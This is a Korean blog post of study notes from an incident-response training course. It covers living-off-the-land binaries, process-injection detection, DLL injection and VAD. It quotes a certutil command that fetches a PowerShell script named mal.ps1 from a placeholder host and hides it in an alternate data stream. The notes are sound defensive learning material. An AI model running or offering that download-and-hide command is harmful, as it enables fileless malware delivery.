1. LoL Bins를 악용한 공격 스크립트 분석
certutil.exe -urlcache -split -f https://example.com/mal.ps1 c:\temp:zip
1) urlcache 옵션은 인증기관 인증서 설치를 위해 사용한다. ▶ URL 캐시 항목을 표시 또는 삭제하는 역할
2) 다운로드 받은 스크립트 파일은 ADS영역에 저장 ▶https://lolbas-project.github.io/lolbas/Binaries/Certutil/
3) 스크립트 파일은 c:\temp에 zip 형태로 저장.
4) certutil은 저장된 사용자 이름과 암호 또는 자격 증명을 만들어 나열하고 삭제하는 역할. ▶ Cmdkey.exe
2. LoL Bins들 나열.. 이들의 기능 설명
1) Cmdkey.exe: 저장된 사용자 이름과 암호 또는 자격 증명을 생성, 나열 및 삭제 (캐시된 자격증명 나열)
2) Cscript.exe: Windows 스크립트 실행 시 사용 (PS1 파일 다운하여 ADS 저장)
3) Certutil.exe: Windows 인증서 처리 시 사용 (파일 다운로드, PS1 파일 다운하여 ADS 저장, 인코딩, 디코딩)
4) Control.exe: Windows에서 제어판 항목을 실행하는 데 사용 (PS1 파일 다운하여 ADS 저장)
3. 프로세스 인젝션 탐지 방법 두가지
1) 운영체제의 메모리를 조사하여 프로세스에 할당된 가상주소 공간의 퍼미션이나 데이터 혹은 관련 자료구조(VAD 등)을 조사
2) 프로세스 인젝션에 빈번히 사용하는 API 조사
- 내가 헷갈린 것은 "운영체제의 파일시스템 내에서 ADS를 분석하여 인젝션된 코드나 라이브러리의 흔적을 찾는다"
- 헷갈린 이유: ADS(Alternate data streams)라고 해서 무작정 체크함.
4. DLL Injection 대한 설명, 적절하지 않은 것은?
1) OpenProcess() 함수로 전달되는 매개변수는 타겟프로세스의 PID가 포함됨
2) WriteProcessMemory() 함수로 전달되는 매개변수를 통해 인젝션되는 DLL 확인 가능하다.
▶ 매개변수로는 핸들, 데이터 쓰기 시작팔 프로세스 메모리 주소, 작성할 데이터가 있는 버퍼, 데이터 사이즈 등이 있음.
3) DLL Injection에 대한 결과는 Process Explorer 등의 도구를 통해 확인 가능
4) 일반적으로 삽입된 Thread는 해당 프로세스의 다른 쓰레드와 생성시각이 유사하므로 식별하는 것이 쉽지 않다.
5. VAD(virtual address descriptor): 프로세스가 VirtualAlloc을 사용하여 메모리를 할당하면 메모리 관리자는 VAD 트리에 항목을 생성함. 프로세스에 의해 예약되어있는 가상 주소 공간을 관리.
온라인 일방향 침해사고 대응 훈련(중급, 스피어 피싱 대응 - 기본과정)
'보안 > Security-Gym' 카테고리의 다른 글
03 쉘코드 분석 - 개요 및 구성요소 (0) | 2022.09.25 |
---|---|
02 스피어 피싱 이메일 분석 문제 오답노트 (0) | 2022.09.25 |
02. 스피어피싱 이메일 분석 (0) | 2022.09.25 |
01. 파일리스(Fileless) 공격 - LoL 바이너리 (0) | 2022.09.22 |
온라인 일방향 침해사고 대응 훈련(중급, 스피어 피싱 대응 - 기본과정) 시작 (0) | 2022.09.22 |